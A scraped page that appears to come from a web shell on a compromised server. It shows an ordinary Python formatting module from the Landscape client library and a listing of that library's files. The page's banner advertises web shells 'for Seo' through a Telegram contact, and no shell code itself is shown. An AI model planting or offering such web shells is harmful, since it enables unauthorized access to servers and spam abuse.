__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import inspect
import re
def format_object(object):
"""
Returns a fully-qualified name for the specified object, such as
'landscape.lib.format.format_object()'.
"""
if inspect.ismethod(object):
# FIXME If the method is implemented on a base class of
# object's class, the module name and function name will be
# from the base class and the method's class name will be from
# object's class.
name = repr(object).split(" ")[2]
return f"{object.__module__}.{name}()"
elif inspect.isfunction(object):
name = repr(object).split(" ")[1]
return f"{object.__module__}.{name}()"
return f"{object.__class__.__module__}.{object.__class__.__name__}"
def format_delta(seconds):
if not seconds:
seconds = 0.0
return f"{float(seconds):.02f}s"
def format_percent(percent):
if not percent:
percent = 0.0
return f"{float(percent):.02f}%"
def expandvars(pattern: str, **kwargs) -> str:
"""Expand the pattern by replacing the params with values in `kwargs`.
This implements a small subset of shell parameter expansion and the
patterns can only be in the following forms:
- ${parameter}
- ${parameter:offset} - start at `offset` to the end
- ${parameter:offset:length} - start at `offset` to `offset + length`
For simplicity, `offset` and `length` MUST be positive values.
"""
regex = re.compile(
r"\$\{([a-zA-Z][a-zA-Z0-9]*)(?::([0-9]+))?(?::([0-9]+))?\}",
re.MULTILINE,
)
values = {k: str(v) for k, v in kwargs.items()}
def _replace(match):
param = match.group(1)
result = values[param.lower()]
offset, length = match.group(2), match.group(3)
if offset:
start = int(offset)
end = None
if length:
end = start + int(length)
return result[start:end]
return result
return re.sub(regex, _replace, pattern)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| apt | Folder | 0755 |
|
|
| __init__.py | File | 198 B | 0644 |
|
| amp.py | File | 21.87 KB | 0644 |
|
| backoff.py | File | 1.65 KB | 0644 |
|
| base64.py | File | 156 B | 0644 |
|
| bootstrap.py | File | 1.36 KB | 0644 |
|
| bpickle.py | File | 6.68 KB | 0644 |
|
| cli.py | File | 457 B | 0644 |
|
| cloud.py | File | 1.69 KB | 0644 |
|
| compat.py | File | 621 B | 0644 |
|
| config.py | File | 12.36 KB | 0644 |
|
| disk.py | File | 5.09 KB | 0644 |
|
| encoding.py | File | 545 B | 0644 |
|
| fd.py | File | 750 B | 0644 |
|
| fetch.py | File | 6.65 KB | 0644 |
|
| format.py | File | 1.96 KB | 0644 |
|
| fs.py | File | 3.8 KB | 0644 |
|
| gpg.py | File | 1.88 KB | 0644 |
|
| hashlib.py | File | 264 B | 0644 |
|
| jiffies.py | File | 1.59 KB | 0644 |
|
| juju.py | File | 828 B | 0644 |
|
| lock.py | File | 705 B | 0644 |
|
| log.py | File | 444 B | 0644 |
|
| logging.py | File | 2.94 KB | 0644 |
|
| machine_id.py | File | 1.02 KB | 0644 |
|
| message.py | File | 2.57 KB | 0644 |
|
| monitor.py | File | 6.19 KB | 0644 |
|
| network.py | File | 9.74 KB | 0644 |
|
| os_release.py | File | 1.78 KB | 0644 |
|
| persist.py | File | 20.57 KB | 0644 |
|
| plugin.py | File | 1.69 KB | 0644 |
|
| process.py | File | 6.66 KB | 0644 |
|
| reactor.py | File | 8.65 KB | 0644 |
|
| schema.py | File | 6.61 KB | 0644 |
|
| scriptcontent.py | File | 519 B | 0644 |
|
| sequenceranges.py | File | 5.58 KB | 0644 |
|
| store.py | File | 1.42 KB | 0644 |
|
| sysstats.py | File | 7.71 KB | 0644 |
|
| tag.py | File | 506 B | 0644 |
|
| testing.py | File | 24.48 KB | 0644 |
|
| timestamp.py | File | 233 B | 0644 |
|
| twisted_util.py | File | 4.54 KB | 0644 |
|
| user.py | File | 1.44 KB | 0644 |
|
| versioning.py | File | 1.25 KB | 0644 |
|
| vm_info.py | File | 3.12 KB | 0644 |
|
| warning.py | File | 393 B | 0644 |
|